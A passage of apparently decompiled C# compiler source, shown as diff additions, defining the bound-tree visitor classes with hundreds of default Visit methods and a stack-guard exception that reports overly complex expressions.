VisitObjectInitializerExpression(BoundObjectInitializerExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitObjectInitializerMember(BoundObjectInitializerMember node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCollectionElementInitializer(BoundCollectionElementInitializer node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitImplicitReceiver(BoundImplicitReceiver node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNewT(BoundNewT node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDelegateCreationExpression(BoundDelegateCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArrayCreation(BoundArrayCreation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArrayInitialization(BoundArrayInitialization node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFieldAccess(BoundFieldAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitHoistedFieldAccess(BoundHoistedFieldAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPropertyAccess(BoundPropertyAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitEventAccess(BoundEventAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitIndexerAccess(BoundIndexerAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitInlineArrayAccess(BoundInlineArrayAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLambda(BoundLambda node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnboundLambda(UnboundLambda node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitQueryClause(BoundQueryClause node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNameOfOperator(BoundNameOfOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitInterpolatedString(BoundInterpolatedString node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStringInsert(BoundStringInsert node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitIsPatternExpression(BoundIsPatternExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConstantPattern(BoundConstantPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDiscardPattern(BoundDiscardPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDeclarationPattern(BoundDeclarationPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRecursivePattern(BoundRecursivePattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitListPattern(BoundListPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSlicePattern(BoundSlicePattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitITuplePattern(BoundITuplePattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPositionalSubpattern(BoundPositionalSubpattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPropertySubpattern(BoundPropertySubpattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPropertySubpatternMember(BoundPropertySubpatternMember node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTypePattern(BoundTypePattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBinaryPattern(BoundBinaryPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNegatedPattern(BoundNegatedPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRelationalPattern(BoundRelationalPattern node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDiscardExpression(BoundDiscardExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitThrowExpression(BoundThrowExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitOutVariablePendingInference(OutVariablePendingInference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConstructorMethodBody(BoundConstructorMethodBody node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitExpressionWithNullability(BoundExpressionWithNullability node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitWithExpression(BoundWithExpression node, A arg) + { + return DefaultVisit(node, arg); + } +} +internal abstract class BoundTreeVisitor +{ + public class CancelledByStackGuardException : Exception + { + public readonly BoundNode Node; + + public CancelledByStackGuardException(Exception inner, BoundNode node) + : base(inner.Message, inner) + { + Node = node; + } + + public void AddAnError(DiagnosticBag diagnostics) + { + diagnostics.Add(ErrorCode.ERR_InsufficientStack, GetTooLongOrComplexExpressionErrorLocation(Node)); + } + + public void AddAnError(BindingDiagnosticBag diagnostics) + { + diagnostics.Add(ErrorCode.ERR_InsufficientStack, GetTooLongOrComplexExpressionErrorLocation(Node)); + } + + public static Location GetTooLongOrComplexExpressionErrorLocation(BoundNode node) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val = node.Syntax; + if (!(val is ExpressionSyntax)) + { + val = (SyntaxNode)(((object)val.DescendantNodes((Func)((SyntaxNode n) => !(n is ExpressionSyntax)), false).OfType().FirstOrDefault()) ?? ((object)val)); + } + SyntaxToken firstToken = val.GetFirstToken(false, false, false, false); + return ((SyntaxToken)(ref firstToken)).GetLocation(); + } + } + + [DebuggerHidden] + public virtual BoundNode Visit(BoundNode node) + { + return node?.Accept(this); + } + + [DebuggerHidden] + public virtual BoundNode DefaultVisit(BoundNode node) + { + return null; + } + + [DebuggerStepThrough] + protected BoundExpression VisitExpressionWithStackGuard(ref int recursionDepth, BoundExpression node) + { + recursionDepth++; + BoundExpression result; + if (recursionDepth > 1 || !ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException()) + { + EnsureSufficientExecutionStack(recursionDepth); + result = VisitExpressionWithoutStackGuard(node); + } + else + { + result = VisitExpressionWithStackGuard(node); + } + recursionDepth--; + return result; + } + + protected virtual void EnsureSufficientExecutionStack(int recursionDepth) + { + StackGuard.EnsureSufficientExecutionStack(recursionDepth); + } + + protected virtual bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return true; + } + + [DebuggerStepThrough] + private BoundExpression? VisitExpressionWithStackGuard(BoundExpression node) + { + try + { + return VisitExpressionWithoutStackGuard(node); + } + catch (InsufficientExecutionStackException inner) + { + throw new CancelledByStackGuardException(inner, node); + } + } + + protected abstract BoundExpression? VisitExpressionWithoutStackGuard(BoundExpression node); + + public virtual BoundNode? VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPropertyEqualsValue(BoundPropertyEqualsValue node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitParameterEqualsValue(BoundParameterEqualsValue node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitValuePlaceholder(BoundValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDup(BoundDup node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPassByCopy(BoundPassByCopy node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBadExpression(BoundBadExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBadStatement(BoundBadStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTypeExpression(BoundTypeExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNamespaceExpression(BoundNamespaceExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnaryOperator(BoundUnaryOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitIncrementOperator(BoundIncrementOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAddressOfOperator(BoundAddressOfOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPointerElementAccess(BoundPointerElementAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRefTypeOperator(BoundRefTypeOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMakeRefOperator(BoundMakeRefOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRefValueOperator(BoundRefValueOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRangeExpression(BoundRangeExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConditionalOperator(BoundConditionalOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArrayAccess(BoundArrayAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArrayLength(BoundArrayLength node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAwaitableInfo(BoundAwaitableInfo node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTypeOfOperator(BoundTypeOfOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBlockInstrumentation(BoundBlockInstrumentation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMethodDefIndex(BoundMethodDefIndex node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLocalId(BoundLocalId node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitParameterId(BoundParameterId node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitModuleVersionId(BoundModuleVersionId node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitModuleVersionIdString(BoundModuleVersionIdString node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMethodInfo(BoundMethodInfo node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFieldInfo(BoundFieldInfo node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDefaultLiteral(BoundDefaultLiteral node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDefaultExpression(BoundDefaultExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitIsOperator(BoundIsOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAsOperator(BoundAsOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSizeOfOperator(BoundSizeOfOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConversion(BoundConversion node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArgList(BoundArgList node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArgListOperator(BoundArgListOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSequencePoint(BoundSequencePoint node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSequencePointWithSpan(BoundSequencePointWithSpan node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBlock(BoundBlock node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitScope(BoundScope node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStateMachineScope(BoundStateMachineScope node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNoOpStatement(BoundNoOpStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitThrowStatement(BoundThrowStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitExpressionStatement(BoundExpressionStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBreakStatement(BoundBreakStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitContinueStatement(BoundContinueStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSwitchStatement(BoundSwitchStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSwitchDispatch(BoundSwitchDispatch node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitIfStatement(BoundIfStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDoStatement(BoundDoStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitForStatement(BoundForStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitForEachDeconstructStep(BoundForEachDeconstructStep node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLockStatement(BoundLockStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTryStatement(BoundTryStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLiteral(BoundLiteral node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUtf8String(BoundUtf8String node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitThisReference(BoundThisReference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBaseReference(BoundBaseReference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLocal(BoundLocal node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPseudoVariable(BoundPseudoVariable node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRangeVariable(BoundRangeVariable node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitParameter(BoundParameter node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLabelStatement(BoundLabelStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitGotoStatement(BoundGotoStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLabeledStatement(BoundLabeledStatement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLabel(BoundLabel node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStatementList(BoundStatementList node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConditionalGoto(BoundConditionalGoto node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSwitchExpressionArm(BoundSwitchExpressionArm node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDecisionDag(BoundDecisionDag node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitEvaluationDecisionDagNode(BoundEvaluationDecisionDagNode node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTestDecisionDagNode(BoundTestDecisionDagNode node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitWhenDecisionDagNode(BoundWhenDecisionDagNode node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLeafDecisionDagNode(BoundLeafDecisionDagNode node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagTemp(BoundDagTemp node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagTypeTest(BoundDagTypeTest node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagNonNullTest(BoundDagNonNullTest node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagExplicitNullTest(BoundDagExplicitNullTest node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagValueTest(BoundDagValueTest node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagRelationalTest(BoundDagRelationalTest node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagTypeEvaluation(BoundDagTypeEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagFieldEvaluation(BoundDagFieldEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagIndexEvaluation(BoundDagIndexEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagSliceEvaluation(BoundDagSliceEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDagAssignmentEvaluation(BoundDagAssignmentEvaluation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSwitchSection(BoundSwitchSection node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSwitchLabel(BoundSwitchLabel node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSequencePointExpression(BoundSequencePointExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSequence(BoundSequence node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSpillSequence(BoundSpillSequence node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicInvocation(BoundDynamicInvocation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConditionalReceiver(BoundConditionalReceiver node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitMethodGroup(BoundMethodGroup node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPropertyGroup(BoundPropertyGroup node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCall(BoundCall node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAttribute(BoundAttribute node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTupleLiteral(BoundTupleLiteral node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitImplicitReceiver(BoundImplicitReceiver node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNewT(BoundNewT node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArrayCreation(BoundArrayCreation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitArrayInitialization(BoundArrayInitialization node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitFieldAccess(BoundFieldAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitHoistedFieldAccess(BoundHoistedFieldAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitEventAccess(BoundEventAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitLambda(BoundLambda node) 